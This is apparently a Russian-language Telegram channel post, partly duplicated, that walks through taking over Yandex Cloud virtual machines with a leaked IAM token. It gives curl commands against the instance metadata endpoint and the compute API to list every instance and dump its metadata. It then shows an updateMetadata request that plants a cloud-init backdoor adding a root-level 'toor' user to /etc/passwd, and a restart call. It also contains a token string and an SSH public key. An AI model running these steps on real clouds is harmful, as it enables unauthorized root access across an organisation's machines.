{“Code":"Success","Token":"t1.H1shIqVmYuKys2Nz86Mj5LLzc-Lku3rnpWai5uKzc7OksrLlcuRnpudlovl8_dtHGl4-e8FIxs3_N3z9y1LZnj57wUjGzf8.qMl7rNwY8ztuhHWsWc1DhY6hFb3p7tp56TUYO2A1PVFs-Sjwnsohf-w0UfedZbuEt6sC0TljNya_29Ncsu2n","Expiration":"2022-02-01T01:52:18+00:00"}
То скорее всего это шанс на победу. А ручка
curl https://169.254.169.254/latest/user-data
Вернет информацию о пользователе облака, чей токен нам сейчас показали. Смотрим на логин, открытый ключ и другие настройки.
И сейчас легким движением руки мы захватим все образы на примере Яндекс Облака. Следите за пальцами.
yandex.cloud
Документация Yandex Cloud | Обзор платформы | Сопоставление с Amazon Web Services
В этой статье сопоставляются сервисы Yandex Cloud и сервисы Amazon Web Services.
🔥24
Кавычка
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API. Облака это не обычные виртуалки, но не все этого понимают. В AWS…
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
Получаем идентификатор инстанса:
Забираем информацию о текущем инстансе, нас интересует folderId:
С помощью folderId получаем список всех виртуальных машин в облаке:
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
Пушим изменения:
И делаем рестарт:
Поздравляю. У вас десятки, а может быть тысячи виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"
Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id
Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"
С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"
В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.
А теперь самое интересное, получаем всю метадату для каждого инстанса:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"
Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:
\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\
nПушим изменения:
POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded
{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}
И делаем рестарт:
POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded
{"instanceId":"{instanceId}"}
Поздравляю. У вас десятки, а может быть тысячи виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
🔥99